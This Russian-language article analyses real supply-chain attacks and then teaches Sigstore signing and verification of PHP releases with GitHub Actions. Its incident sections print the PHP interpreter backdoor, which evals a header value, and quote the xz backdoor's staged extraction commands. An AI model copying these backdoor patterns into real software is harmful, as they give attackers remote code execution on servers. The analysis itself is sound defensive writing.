
В марте 2021 года в официальный Git-репозиторий PHP прилетели два коммита. Первый назывался невинно — [skip-ci] Fix typo, — а автором значился Расмус Лердорф (создатель языка). Его заметили и откатили — тогда атакующий запушил тот же код повторно, замаскировав коммит под возврат отката (Revert "Revert "[skip-ci] Fix typo"") и подписав его именем Никиты Попова (одного из ключевых разработчиков ядра). Оба коммита добавляли в интерпретатор бэкдор: если в HTTP-запросе присутствовал заголовок User-Agentt со значением, начинающимся на zerodium, PHP выполнял остаток значения этого заголовка — всё после префикса — как PHP-код. Удалённое выполнение кода в каждом, кто обновился бы до этой сборки.
Выглядел бэкдор так — несколько строк, добавленных в функцию php_zlib_output_compression_start() (файл ext/zlib/zlib.c), то есть в путь обработки практически любого HTTP-запроса:
// $_SERVER['HTTP_USER_AGENTT'] — это присланный клиентом заголовок "User-Agentt"if ((enc = zend_hash_str_find(..., "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) { convert_to_string(enc); if (strstr(Z_STRVAL_P(enc), "zerodium")) { zend_eval_string(Z_STRVAL_P(enc) + 8, NULL, "REMOVETHIS: sold to zerodium, mid 2017"); }}
zend_eval_string() — это C-эквивалент пользовательской eval(): строка-аргумент исполняется как PHP-код. + 8 отрезает префикс zerodium (восемь символов), и всё, что шло в заголовке после него, выполнялось на сервере. Комментарий REMOVETHIS: sold to zerodium, mid 2017 атакующий оставил прямо в коде — циничная отсылка к брокеру эксплойтов Zerodium.
Ни Расмус, ни Никита этого не писали. Атака прошла через собственную Git-инфраструктуру PHP — git.php.net: коммиты запушили по HTTPS с парольной аутентификацией, и, скорее всего, утекла база паролей master.php.net — сам сервер, похоже, не взламывали. Поймали случайно: участники сообщества, просматривая уже запушенные коммиты, заметили странный код и спросили прямо под диффом, что тут делает zerodium. Команда PHP сделала выводы и перенесла канонический репозиторий на GitHub, отказавшись от собственной инфраструктуры.
Это удобная отправная точка, потому что в одном маленьком инциденте видны все болевые точки сразу. Доверие к подписи автора (которой не было — коммиты не были подписаны, имя в Author подделывается одной командой). Доверие к инфраструктуре (которую взломали). И главное — то, что между исходниками, которые вы читаете на код-ревью, и артефактом, который реально запускается у пользователя, лежит длинная цепочка, и атаковать можно любое её звено.
Эта статья — про то, как устроены атаки на эту цепочку, почему привычные ответы (GPG, хеши, «ну у нас же HTTPS») закрывают её лишь частично, и какой ответ за последние годы выработала индустрия. Сначала — карта местности (механика атак и модель угроз), затем подпишем и проверим релиз PHP-пакета — в CI и из кода. Кода во второй половине будет много.
Цепочка поставок: пять звеньев, каждое атакуют
«Цепочка поставок ПО» (software supply chain) звучит абстрактно, пока не разложить её на звенья. Возьмём путь обычной зависимости — от мысли разработчика до строчки в вашем vendor/:
разработчик → исходный код (git) → сборка (CI) → артефакт → реестр → ВЫ
Каждый стык — это точка, где артефакт можно подменить, и для каждой есть громкий реальный инцидент.

Звено 1. Исходный код и тот, кто его пишет
Самый прямой путь — попасть в исходники. Способов два: сломать инфраструктуру (как с git.php.net) или стать тем, кому доверяют.
Второе — это история event-stream (2018). Популярная npm-библиотека (миллионы загрузок в неделю), у выгоревшего мейнтейнера. К нему пришёл доброжелатель, предложил помощь, какое-то время добросовестно поддерживал пакет — и получил права публикации. После чего добавил зависимость flatmap-stream с вредоносным кодом, нацеленным на конкретный криптокошелёк (Copay). Вредонос жил в минифицированном коде опубликованного пакета и активировался только в окружении жертвы. Социальная инженерия против человека, а не против сервера.
Урок звена: «коммит сделал доверенный человек» и «коммиту можно доверять» — разные утверждения. Аккаунты угоняют, мейнтейнеров обманывают, доверие передают.
Звено 2. Сборка: разрыв между исходниками и артефактом
Тут живёт самая коварная атака последних лет — бэкдор в xz/liblzma (CVE-2024-3094, март 2024).
Её гениальность — в том, где прятался вредонос. Канонический Git-репозиторий xz был чист: на любом код-ревью вы видели нормальный код. Но пользователи (и сборочные системы дистрибутивов) скачивают не git-дерево, а release-tarball — отдельный архив, который мейнтейнер генерирует и выкладывает сам. И вот в tarball’е лежал файл build-to-host.m4, которого не было в Git. Во время сборки он раскодировал «испорченный» тестовый файл в скрипт, тот — следующий, и в итоге в liblzma встраивался объектный файл, компрометирующий проверку SSH-ключей на сервере.
Заметил это не аудитор кода, а Андрес Фройнд — инженер, который замерял производительность PostgreSQL и обратил внимание, что вход по SSH стал занимать примерно на полсекунды дольше обычного, а sshd — съедать заметно больше CPU. Потянул за ниточку — и размотал многолетнюю операцию по внедрению «доверенного» мейнтейнера.
Урок звена, и он центральный для всей статьи: то, что вы проверили в git, и то, что собралось и поехало к пользователю, — это не обязательно одно и то же. Если артефакт собирается где-то, куда вы не смотрите, чистота исходников ничего не гарантирует.
Стоит разобрать механику по шагам — она и есть лучшая иллюстрация тезиса «git ≠ tarball»:
-
build-to-host.m4— файл-макрос autoconf — лежал только в release-tarball’ах (5.6.0/5.6.1), в git его не было. Он исполнялся на стадии./configureи искал в дереве «нужный» файл по сигнатуре:grep -aErls "#{4}\[\[:alnum:\]\]{5}#{4}$" $srcdir/ 2>/dev/null -
Полезную нагрузку несли два файла, замаскированных под тестовые данные декодера:
tests/files/bad-3-corrupt_lzma2.xz(нулевая стадия) иtests/files/good-large_compressed.lzma(объектник + зашифрованный код). Для библиотеки-распаковщика бинарный мусор вtests/— норма, на ревью не цепляет. -
Первая стадия извлекалась байтовой подстановкой и распаковкой — и результат уходил прямо в
/bin/sh:cat tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d -
На стадии
makeскрипт доставал из второго файла ~88 КБ объектного кода и вмерживал его вliblzma, подменив функциюisarch_extension_supported()так, чтобы та вызывалаgetcpuid()из вредоносного объектника. -
getcpuid()оказывался IFUNC-резолвером — он гарантированно исполняется на раннем этапе динамической линковки, ещё до того как GOT/PLT помечаются read-only. Резолвер переписывал GOT, подменяяRSA_public_decrypt, — и вsshd(тянущемliblzmaтранзитивно через systemd) появлялся обход аутентификации по ключу атакующего.
Ни одной из этих стадий не было видно в git: ревьюер открывал репозиторий и видел чистый код.

Звено 3. CI/CD: атакуют конвейер
Раз артефакт собирает CI, то компрометация CI — это компрометация артефакта. Показательный случай — tj-actions/changed-files (CVE-2025-30066, март 2025), популярный GitHub Action, использовавшийся в более чем 23 000 репозиториев.
Атакующий скомпрометировал токен бота с правами на репозиторий и сделал страшное: переписал теги версий. Теги v1 … v45 — все, на которые ссылались чужие workflow, — были задним числом перенаправлены на один вредоносный коммит. Тот сканировал память раннера и выгребал секреты (токены, ключи, PAT) прямо в логи сборки, публично читаемые в открытых репозиториях.
Запомните эту деталь — переписанные теги. Она ниже превратится в конкретное правило защиты.
Урок звена: ваш билд исполняет чужой код (экшены, плагины, образы). Версия @v4 — это не фиксация, это «дай мне то, на что сейчас показывает тег v4», а тег может переехать.
Звено 4. Артефакт и реестр: подмена при доставке
Даже если исходники, сборка и CI чисты, артефакт ещё нужно доставить — через реестр (npm, PyPI, Packagist). Реестр — единая точка, и доступ к нему — это доступ ко всем потребителям.
Классика — ua-parser-js (октябрь 2021): у мейнтейнера угнали npm-аккаунт и опубликовали версии с криптомайнером и трояном для кражи паролей. Пакет с десятками миллионов загрузок в неделю. Через месяц — то же с coa и rc. Не тронули ни строки в Git — просто опубликовали вредоносную версию под доверенным именем.
Сюда же — тайпсквоттинг: пакет reqeusts вместо requests, расчёт на опечатку в composer require.
Урок звена: «скачано из официального реестра под правильным именем» не означает «опубликовано тем, кому вы доверяете, и из того кода, что вы видели».
Звено 5. PHP-специфика
Где во всём этом PHP и Composer? В нескольких чувствительных местах:
-
Скрипты и плагины Composer.
post-install-cmd,post-autoload-dumpи composer-плагины исполняют произвольный PHP во времяcomposer install— то есть на машине разработчика и на CI. Вредоносная зависимость не ждёт продакшена, она срабатывает при установке. -
Тайпсквоттинг на Packagist работает ровно так же, как в npm.
-
И ключевое для нашей темы: когда вы делаете
composer require, Packagist по умолчанию отдаёт не подписанный мейнтейнером файл, а zipball, который GitHub генерирует из тега на лету. Его содержимое не зафиксировано побайтово и в принципе может меняться. Подписывать «то, что скачает composer» поэтому нечего — нет стабильного артефакта, под которым стоит подпись.
Последний пункт настолько важен (и настолько ограничивает то, что мы сможем сделать в практической половине), что повторю явно и вынесу отдельно.
Сразу честно, без иллюзий. Если вашу библиотеку ставят обычным
composer installиз Packagist — подпись артефакта пока не поможет. Composer скачивает не подписанный файл, а zipball, который GitHub генерирует из тега на лету; подписывать там попросту нечего. Подпись работает там, где артефакт — конкретный неизменный файл: PHAR, релизные tarball’ы, Docker-образы, внутренние реестры. И она в любом случае полезна как доказательство происхождения — «из какого коммита и каким workflow собрано». Подробно — ниже; пока просто держим это в уме.
Почему привычные ответы закрывают цепочку лишь частично
«Так это же решённая проблема — подписывайте релизы». Давайте посмотрим, почему существующие ответы не стали повсеместными.
GPG-подписи. Технически работают десятилетиями, но для массового потребителя так и не взлетели — и причина в ключах. Их надо сгенерировать, надёжно хранить, не потерять, ротировать, вовремя отозвать. Проверяющему — где-то взять правильный публичный ключ и решить, доверять ли ему (проблема, которую так и не решила «паутина доверия»). В итоге даже там, где подписи есть, их почти никто не проверяет. Показательно, что Packagist за всю историю так и не ввёл обязательную подпись пакетов.
Хеши в lock-файле. composer.lock фиксирует хеш содержимого пакета — и это полезно: гарантирует, что у всех в команде и на CI установится идентичный код. Но хеш отвечает на вопрос «тот же ли это байт-в-байт пакет, что и вчера», а не «кто его создал и можно ли ему доверять». Если первая же установка тянет скомпрометированную версию, lock честно зафиксирует её хеш.
composer audit и базы advisory. Незаменимая вещь, но про другое: они сверяют ваши зависимости с базой известных уязвимостей (CVE). С происхождением пакета это никак не связано: audit поймает известную дырявую версию, но не скажет, кто и из чего собрал пакет, и не заметит свежий бэкдор, которого ещё нет в базах.
«У нас HTTPS и фиксированные теги». HTTPS защищает канал в момент скачивания — от подмены по дороге, но не от того, что в реестре уже лежит вредоносная версия. А теги, как показал tj-actions, переезжают.
Ни один из этих механизмов не плох — просто каждый закрывает свой узкий участок. Не хватает того, что связывает артефакт с его происхождением проверяемым образом и не требует от каждого мейнтейнера возиться с ключами.
Ответ индустрии: Sigstore и подпись без ключей
Этот ответ оформился вокруг проекта Sigstore (под крылом Linux Foundation; им пользуются npm, PyPI, Kubernetes, Homebrew). Идея — убрать из подписи то, обо что она спотыкалась: долгоживущие ключи.
Звучит парадоксально: подпись без ключа. На деле ключ есть — он просто живёт минуты и нигде не хранится. Вот как подписывается артефакт в GitHub Actions (а это самый массовый сценарий):
-
CI-джоба просит у GitHub OIDC-токен — JWT, в котором GitHub удостоверяет: «этот токен выдан workflow attest.yml репозитория acme/app на теге 1.2.3».
-
На раннере генерируется одноразовая пара ключей — приватный живёт только в памяти джобы и исчезает вместе с ней.
-
Fulcio (центр сертификации Sigstore) меняет OIDC-токен на X.509-сертификат сроком ~10 минут. В сертификат вшита identity из токена — URL workflow и ref.
-
Артефакт (точнее, утверждение о нём) подписывается эфемерным ключом.
-
Подпись публикуется в Rekor — публичном, неизменяемом журнале прозрачности.
-
Сертификат + подпись + запись Rekor пакуются в self-contained “bundle”.

Три идеи, которые тут стоит разглядеть.
Identity вместо ключа. Сертификат удостоверяет не «Васю с таким-то ключом», а конкретный workflow конкретного репозитория на конкретном ref. Проверяющему не нужно добывать и доверять ничьему публичному ключу — он формулирует политику в терминах «подписано workflow attest.yml репозитория acme/app». Это и человекочитаемо, и не требует управления ключами.
Что именно «удостоверяет workflow» — стоит увидеть предметно. CI-джоба получает от GitHub OIDC-токен (JWT), и в его payload — не человек, а контекст запуска:
{ "iss": "https://token.actions.githubusercontent.com", "aud": "sigstore", "sub": "repo:k2gl/dsse:ref:refs/tags/1.1.1", "repository": "k2gl/dsse", "workflow_ref": "k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1", "ref": "refs/tags/1.1.1", "sha": "d9716be40f51e2bc32f6328a4f1830dd12156a45", "event_name": "push", "runner_environment": "github-hosted"}
Дальше Fulcio убеждается, что токен и правда выдал GitHub, и переносит эти поля в сам сертификат — в специальные расширения X.509 (Sigstore выделил под них свою OID-ветку 1.3.6.1.4.1.57264.1.*: туда попадают репозиторий, workflow, способ запуска сборки). А самое главное — идентичность сборщика — записывается в поле SAN сертификата как обычный URL:
SAN (URI): https://github.com/k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1issuer: https://token.actions.githubusercontent.com
Вот это и есть «ключ» новой модели: не «Вася с отпечатком GPG», а «workflow attest.yml репозитория k2gl/dsse, запущенный по тегу 1.1.1». Проверяющая политика формулируется ровно в этих терминах — к ней вернёмся в практической половине.
Доверие смещается, а не исчезает. Важно быть честным: «нет ключей ни у кого» — неправда. Ключи есть у Fulcio, у Rekor, у корня доверия (его распространяет TUF — The Update Framework). Вы не избавились от доверия — вы сменили его адрес: вместо «доверяю GPG-ключу мейнтейнера» теперь «доверяю тому, что GitHub честно выдаёт OIDC-токены, а Fulcio и Rekor работают как заявлено». Это осознанный размен: доверенных сторон стало больше, но все они — публичная, наблюдаемая инфраструктура, а не приватный ключ в ноутбуке, который теряют и крадут.
Прозрачность как сдерживание. Rekor — журнал только-на-дозапись, как Certificate Transparency для TLS. Подпись нельзя сделать «тихо»: она становится публичной и неудаляемой записью. Для мейнтейнера это бесплатная сигнализация — если от имени вашего workflow в журнале появилась подпись, которой вы не делали, это видно всем. Атакующий с полным контролем над репозиторием не может подписать незаметно.
Модель угроз: что подпись ловит, а что нет
Самое вредное, что можно сделать с подписью, — поверить, что она защищает от всего. Поэтому разложим честно. Подпись артефакта (build provenance — «доказательство сборки») утверждает ровно одно: «этот артефакт собрал вот этот workflow из вот этого коммита». Это происхождение, а не безвредность.
|
Атака |
Поймает? |
Почему |
|---|---|---|
|
Подмена артефакта после сборки (реестр, зеркало, MITM) |
✅ |
Цифровая подпись не сойдётся с изменёнными байтами |
|
Сборка «такого же» пакета на чужой машине |
✅ |
У атакующего нет OIDC-токена вашего репозитория — identity в сертификате будет чужой |
|
Публикация под чужим именем из форка/другого workflow |
✅ |
Политика проверки требует конкретный репозиторий и workflow |
|
Откат на старую уязвимую версию с её настоящей подписью |
⚠️ |
Только если политика привязана к ожидаемой версии (пину тега); иначе старая версия пройдёт со своей валидной подписью |
|
Вредоносный коммит попал в |
❌ детект / ✅ улика |
Подпись валидна (происхождение настоящее!), но в Rekor навсегда зафиксировано, какой коммит и какой workflow это собрали |
|
Скомпрометирован сам signing-workflow (через чужой экшен) |
❌ |
Любая джоба с правом подписи под вашей identity подпишет что угодно — поэтому к safety самого workflow требования жёсткие (см. ниже) |
|
Угнан аккаунт мейнтейнера, релиз тегают «легально» |
❌ детект / ✅ улика |
Подпись настоящая; защита — на уровне доступа (ниже) и мониторинга журнала |
Из таблицы не нужно делать вывод «подпись бесполезна против половины атак». Вывод другой: подпись закрывает самый длинный и незаметный участок — всё, что происходит с артефактом после коммита (сборку, упаковку, доставку, хранение). То, что было до коммита — кто и что влил в репозиторий, — это уже другая защита.
В стандарте SLSA эти две зоны так и разделяют: защита исходников и защита сборки. Подпись артефакта — про сборку. Она не отменяет защиту кода, но делает её проверяемой потом: без провенанса после инцидента вы только разводите руками («это не мы, это зеркало подменило»), а с ним — у вас доказательство, какой коммит и какая сборка выпустили заражённый файл.
Хорошая новость: бóльшая часть защиты исходников — не криптография, а гигиена доступа, и включается парой галочек: защищённая ветка main (только через PR с ревью), 2FA у всех с доступом, сторонние экшены по commit SHA вместо тега (помните переписанные теги tj-actions? SHA так не переедет), минимум прав у токенов и OIDC вместо вечных секретов. Конкретный YAML соберём ниже.
Где это уже работает — и при чём тут PHP
Это не теория из будущего. npm показывает бейдж provenance у пакетов, собранных в публичном CI. PyPI с конца 2024-го генерирует Sigstore-аттестации (PEP 740) по умолчанию — для пакетов, публикуемых через Trusted Publishing (OIDC вместо вечных токенов). Homebrew подписывает все свои bottles. Экосистемы Go, Rust, JS, Python, Ruby имеют официальных Sigstore-клиентов.
И это уже не только добрая воля реестров — за безопасность ПО взялись государства, и разработчику всё чаще нужно доказывать, из чего и как собран его продукт. США (указ EO 14028) требуют от поставщиков ПО для госорганов подписанную гарантию, что разработка велась безопасно. Евросоюз (Cyber Resilience Act) с 2027 года обязывает прикладывать к любому продукту с цифровой начинкой машиночитаемый состав — SBOM — и держать под контролем всю цепочку поставок, под крупные штрафы. Слова «Sigstore» в законах нет, но подпись и провенанс — самый практичный способ выполнить эти требования.
Тренд один: доверие смещается от долгоживущих ключей и токенов к keyless-подписи через OIDC, а provenance из опции превращается в дефолт на стороне реестра — SBOM и аттестация всё чаще идут в паре.
А PHP? Долгое время — пусто: ни верификатора Sigstore-бандлов, ни моделей аттестаций. Кое-что было (например, php-tuf — клиент TUF, выросший из нужд Drupal/Composer), но именно проверки Sigstore-подписей на чистом PHP не существовало. Дальше — закроем эту нишу руками.
Практика: к концу — одна команда
Подпишем релиз PHP-пакета в GitHub Actions (минимальная подпись — ~38 строк YAML, ноль секретов, ~10 секунд; показанный ниже полный workflow добавляет ещё публикацию артефактов и самопроверку), выложим подписанный артефакт и проверим его — и эталонным gh, и из PHP-кода. К концу вы получите вот это:
$ vendor/bin/sigstore-verify dsse-1.1.1.tar.gz dsse-1.1.1.tar.gz.sigstore.jsonl \ --repository k2gl/dsse --workflow attest.yml --ref refs/tags/1.1.1 VERIFIEDsubject: dsse-1.1.1.tar.gz (sha256:7a719ac27ce8c64af4992222213dcbfc240d412719e0b5e6107392f4e6c9f7ba)predicate: https://slsa.dev/provenance/v1
Чистый PHP подтвердил: этот tarball собрал workflow attest.yml репозитория k2gl/dsse из тега 1.1.1, подпись настоящая, запись в журнале прозрачности на месте, а байты на диске — ровно те, что подписаны. Одной командой; а с локально сохранённым корнем доверия (--trusted-root) — полностью оффлайн, к этому вернёмся.
Всё, что ниже, прогнано на настоящем релизе — k2gl/dsse 1.1.1, подписанном в GitHub Actions. И отдельно: верификатор, которым мы будем пользоваться, проходит официальный sigstore-conformance — тот же тестовый набор, которым проверяют себя sigstore-go и sigstore-python — в полном объёме (v0.0.29, 134 verification-кейса), и этот прогон встроен в его CI.
Пять терминов, чтобы дальше читалось без сносок:
|
Термин |
Одной строкой |
|---|---|
|
Fulcio |
центр сертификации Sigstore: меняет OIDC-токен на сертификат на ~10 минут с вшитой identity сборщика |
|
Rekor |
публичный неизменяемый журнал прозрачности: туда попадает каждая подпись |
|
DSSE |
формат конверта, в котором лежит и подписывается полезная нагрузка (тут — аттестация) |
|
in-toto / SLSA provenance |
стандартная структура «что за артефакт и как он собран» внутри конверта |
|
trusted root |
набор корневых ключей Fulcio/Rekor; распространяется через TUF, против него идёт вся проверка |
Путь подписи: OIDC-токен → эфемерный ключ в памяти раннера → сертификат Fulcio → подпись DSSE → запись в Rekor → bundle. Проверка идёт в обратную сторону.
Подписываем релиз: один workflow
GitHub умеет всю описанную выше механику из коробки — фича называется Artifact Attestations. Для публичных репозиториев подпись идёт через публичный инстанс Sigstore бесплатно. Вот полный workflow, который подписывает релизы во всех моих репозиториях. Он не игрушечный — это рабочий attest.yml после прохождения аудита, поэтому в нём важны детали:
name: Atteston: push: tags: ['[0-9]*.[0-9]*.[0-9]*']permissions: contents: readjobs: attest: name: Build provenance runs-on: ubuntu-latest permissions: id-token: write attestations: write contents: read steps: - name: Checkout uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: persist-credentials: false - name: Build release tarball run: | tarball="dsse-${GITHUB_REF_NAME}.tar.gz" git archive --format=tar.gz --prefix="dsse-${GITHUB_REF_NAME}/" --output="${tarball}" "${GITHUB_SHA}" echo "tarball=${tarball}" >> "$GITHUB_ENV" - name: Attest build provenance uses: actions/attest-build-provenance@a2bbfa25375fe432b6a289bc6b6cd05ecd0c4c32 # v4.1.0 with: subject-path: ${{ env.tarball }} - name: Download attestation bundle env: GH_TOKEN: ${{ github.token }} run: | gh attestation download "${tarball}" --repo "${GITHUB_REPOSITORY}" mv sha256:*.jsonl "${tarball}.sigstore.jsonl" - name: Hand off signed artifacts uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: name: signed-release path: | *.tar.gz *.sigstore.jsonl if-no-files-found: error release: name: Publish release assets needs: attest runs-on: ubuntu-latest permissions: contents: write steps: - name: Fetch signed artifacts uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 with: name: signed-release - name: Create release with assets env: GH_TOKEN: ${{ github.token }} run: | gh release create "${GITHUB_REF_NAME}" \ --repo "${GITHUB_REPOSITORY}" \ --verify-tag \ --title "${GITHUB_REF_NAME}" \ --generate-notes \ *.tar.gz *.sigstore.jsonl \ || gh release upload "${GITHUB_REF_NAME}" --repo "${GITHUB_REPOSITORY}" --clobber *.tar.gz *.sigstore.jsonl verify: name: Verify published release needs: release runs-on: ubuntu-latest permissions: contents: read steps: - name: Download release assets env: GH_TOKEN: ${{ github.token }} run: | gh release download "${GITHUB_REF_NAME}" --repo "${GITHUB_REPOSITORY}" \ --pattern '*.tar.gz' --pattern '*.sigstore.jsonl' - name: Verify attestation (online) env: GH_TOKEN: ${{ github.token }} run: gh attestation verify *.tar.gz --repo "${GITHUB_REPOSITORY}" - name: Verify attestation (offline bundle) env: GH_TOKEN: ${{ github.token }} run: gh attestation verify *.tar.gz --repo "${GITHUB_REPOSITORY}" --bundle *.sigstore.jsonl
Разберём решения — каждое из них следствие модели угроз из первой половины.
Триггер только на релизные теги. tags: ['[0-9]*.[0-9]*.[0-9]*'] — подпись чеканится исключительно при пуше версионного тега. Никаких workflow_dispatch и tags: ['*']: кто может создать релизный тег, тот может выпустить подписанный релиз, и сужать это право критично (к нему вернёмся в чек-листе).
Секретов нет. id-token: write разрешает джобе получить OIDC-токен; Fulcio обменяет его на короткоживущий сертификат. Приватный ключ генерируется в памяти раннера и умирает с джобой — красть нечего.
Минимальные права, по джобам. Вверху contents: read — дефолт для всего workflow. Право на запись (contents: write, нужное для создания релиза) есть только у джобы release, а право подписи (id-token/attestations: write) — только у attest. Скомпрометируй злоумышленник шаг сборки — у него всё равно нет прав публиковать. Финальной же verify-джобе хватает contents: read: аттестации публичного репозитория отдаются даже анонимно, отдельное разрешение на их чтение не нужно.
Экшены запинены по commit SHA. actions/checkout@df4cb1c0… вместо @v6. Помните переписанные теги tj-actions выше? SHA подменить нельзя. Комментарий # v6.0.3 рядом — чтобы человек видел версию. (Да, это first-party экшены GitHub, которым доверия больше, — но правило должно быть единым, иначе оно не правило.)
git archive, не «архив папки». Tarball собирается из git-объектов конкретного коммита — детерминированно и без мусора рабочей копии. export-ignore в .gitattributes вырезает тесты и CI-конфиги, так что подписываем ровно dist. Оговорка: «детерминированно» не значит «байт-в-байт воспроизводимо в любой среде» — формат архива может зависеть от версий git/gzip. Именно поэтому подписанные байты надо публиковать, а не надеяться сгенерировать их заново.
Подписанные байты выкладываются в релиз. Это тот пункт, без которого вся затея — театр: артефакт из Actions живёт 90 дней и требует логина. Джоба release прикладывает к GitHub Release и tarball, и его бандл (*.sigstore.jsonl) — теперь их может скачать кто угодно и когда угодно. Хвост || gh release upload --clobber делает джобу идемпотентной: ре-ран на существующем релизе не падает, а перезаливает ассеты.
Пайплайн проверяет сам себя. Финальная джоба verify скачивает опубликованный релиз и прогоняет gh attestation verify дважды: с аттестацией из API GitHub и по бандлу-файлу из ассетов релиза — оба пути доставки проверены. Это и проверка, что мы ничего не сломали, и постоянный смоук-тест подписи на каждом релизе.
Скачивается аттестация одной командой:
$ gh attestation download dsse-1.1.1.tar.gz --repo k2gl/dsseWrote attestations to file sha256:7a719ac2…9f7ba.jsonl
Внутри — Sigstore bundle (application/vnd.dev.sigstore.bundle.v0.3+json): сертификат Fulcio, DSSE-конверт с подписанным in-toto Statement и запись Rekor с inclusion proof. Всё для проверки — в одном JSON.
*.sigstore.jsonl: сертификат Fulcio (кто подписал), DSSE-конверт с in-toto Statement (что подписано) и запись Rekor (доказательство) — всё для оффлайн-проверки в одном JSON.Верифицируем из PHP

Сразу прозрачно: пакеты, на которых всё показано ниже, — мои, я их мейнтейню. Это не оговорка, а причина показывать именно на них — вы видите рабочий стек на боевом релизе, а не псевдокод. Контекст простой: официального Sigstore-клиента для PHP не существует (для Go, Python, JS, Rust, Java, Ruby — есть; для PHP был php-tuf, но это TUF-клиент, а не верификатор Sigstore-подписей). Эту нишу и закрывает стек k2gl/*.
Ставится он, само собой, через composer require — как sigstore-python через pip; гарантия тут не в канале, а в том, что код открыт и сам пакет подписан тем же механизмом, что мы проверяем.
Самый быстрый путь — CLI
Пакет везёт бинарь без зависимостей. Это то, что вставляется в пайплайн одной строкой:
$ composer require k2gl/sigstore-verify$ vendor/bin/sigstore-verify dsse-1.1.1.tar.gz dsse-1.1.1.tar.gz.sigstore.jsonl \ --repository k2gl/dsse --workflow attest.yml --ref refs/tags/1.1.1VERIFIEDsubject: dsse-1.1.1.tar.gz (sha256:7a719ac27ce8c64af4992222213dcbfc240d412719e0b5e6107392f4e6c9f7ba)predicate: https://slsa.dev/provenance/v1
Код возврата 0 — проверено; любая проблема печатает причину и возвращает 1. --trusted-root path делает прогон полностью оффлайн; для не-GitHub подписантов есть --san/--issuer. JSON Lines с несколькими бандлами тоже понимает (успех, если верифицируется хотя бы один).
Из кода — с типизированным провенансом
Когда нужно проверять артефакт внутри приложения (маркетплейс плагинов, самообновление, приём загружаемых модулей), а не в шелле, — то же самое из PHP:
<?phpdeclare(strict_types=1);require __DIR__ . '/vendor/autoload.php';use K2gl\InToto\Statement;use K2gl\Sigstore\Bundle;use K2gl\Sigstore\IdentityPolicy;use K2gl\Sigstore\SigstoreVerifier;use K2gl\Sigstore\SubjectPolicy;use K2gl\Sigstore\TrustedRoot;use K2gl\Slsa\Provenance;$artifact = 'dsse-1.1.1.tar.gz';// `gh attestation download` writes JSON Lines: one Sigstore bundle per line.$lines = file('dsse-1.1.1.tar.gz.sigstore.jsonl', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);$bundle = Bundle::fromJson($lines[0]);// Fetch the Sigstore public-good trusted root via TUF — the only network call here.$trustedRoot = TrustedRoot::fromSigstorePublicGood();// Who must have signed: this repository's attest.yml workflow on this release tag.$identity = IdentityPolicy::githubActions( repository: 'k2gl/dsse', workflow: 'attest.yml', ref: 'refs/tags/1.1.1',);// What must have been signed: this exact file.$subject = new SubjectPolicy('sha256', hash_file('sha256', $artifact));$envelope = (new SigstoreVerifier)->verify( bundle: $bundle, trustedRoot: $trustedRoot, identityPolicy: $identity, subjectPolicy: $subject,);// The payload is authenticated now — model it with the typed packages.$statement = Statement::fromEnvelope($envelope);$provenance = Provenance::fromStatement($statement);echo "VERIFIED\n";echo 'builder: ' . $provenance->runDetails->builder->id . "\n";echo 'commit: ' . $provenance->buildDefinition->resolvedDependencies[0]->digest['gitCommit'] . "\n";
$ php verify.phpVERIFIEDbuilder: https://github.com/k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1commit: d9716be40f51e2bc32f6328a4f1830dd12156a45
Три объекта в этом коде несут всю суть.
TrustedRoot — единственный поход в сеть. fromSigstorePublicGood() один раз скачивает доверенные корневые ключи Sigstore через TUF-клиент (k2gl/tuf): тот проходит цепочку метаданных root → timestamp → snapshot → targets и проверяет подписи на каждом шаге. Это единственное место, где код вообще ходит в сеть. Хотите полный оффлайн — один раз сохраните trusted_root.json и грузите TrustedRoot::fromJson(); сам верификатор в сеть не ходит никогда. Только учтите: устаревший или подменённый trusted root тихо обесценивает всю проверку — поэтому его и обновляют через TUF.
IdentityPolicy — кто подписал. Сертификат Fulcio удостоверяет не человека, а workflow:
SAN: https://github.com/k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1issuer: https://token.actions.githubusercontent.com
Фабрика githubActions() собирает проверку этого SAN. Деталь, на которой легко обжечься: ref в SAN — это триггер workflow. Подпись с ветки даёт @refs/heads/main, релизная по тегу — @refs/tags/1.1.1. Для релизов закладывайтесь на теги (ref: 'refs/tags/' . $version) — это заодно прибивает ту самую rollback-атаку из таблицы угроз: артефакт обязан быть собран из ожидаемого тега. Есть и gitlabCi(), и общий sanRegex().
Это ядро всей модели: «артефакт подписан» само по себе не значит ничего — подписать умеет и злоумышленник. Значит только «подписан тем, кому я доверяю собирать».
SubjectPolicy — что подписано. Требует, чтобы sha256 файла на диске присутствовал в subject аттестации. Без неё можно подсунуть валидную аттестацию другого артефакта того же автора.
IdentityPolicy отвечает на «кто подписал» (разбор SAN), SubjectPolicy — на «что подписано» (sha256 файла == subject в аттестации).А под капотом verify() за один вызов проверяет всю цепочку, и отказ любого звена — исключение:
-
сертификат выпущен CA из trusted root и был валиден на момент подписи;
-
SCT (Certificate Transparency) сертификата подписан известным CT-логом;
-
DSSE-подпись сходится с публичным ключом сертификата;
-
запись Rekor соответствует конверту, inclusion proof сходится к checkpoint, checkpoint подписан ключом журнала из trusted root, signed entry timestamp валиден;
-
время из журнала попадает в срок жизни сертификата;
-
identity и subject policy выполнены.
verify(): шесть звеньев, и отказ любого — исключение (fail-closed), а не тихий «verified».Стоит задержаться на строчке про Rekor — за ней прячется самое неинтуитивное. Rekor устроен как Merkle-дерево (тот же принцип, что Certificate Transparency для TLS, RFC 6962): каждая подпись — лист, у дерева есть корневой хеш. Bundle несёт в себе inclusion proof — цепочку соседних хешей от вашего листа до корня. Верификатор пересчитывает корень из вашей записи и этого пути; результат обязан совпасть с checkpoint — подписанным «снимком» дерева (его размер + корневой хеш), а подпись checkpoint’а проверяется ключом Rekor из trusted root. Плюс SET (signed entry timestamp) фиксирует момент попадания записи в журнал — и этот момент обязан укладываться в ~10-минутное окно жизни эфемерного сертификата.
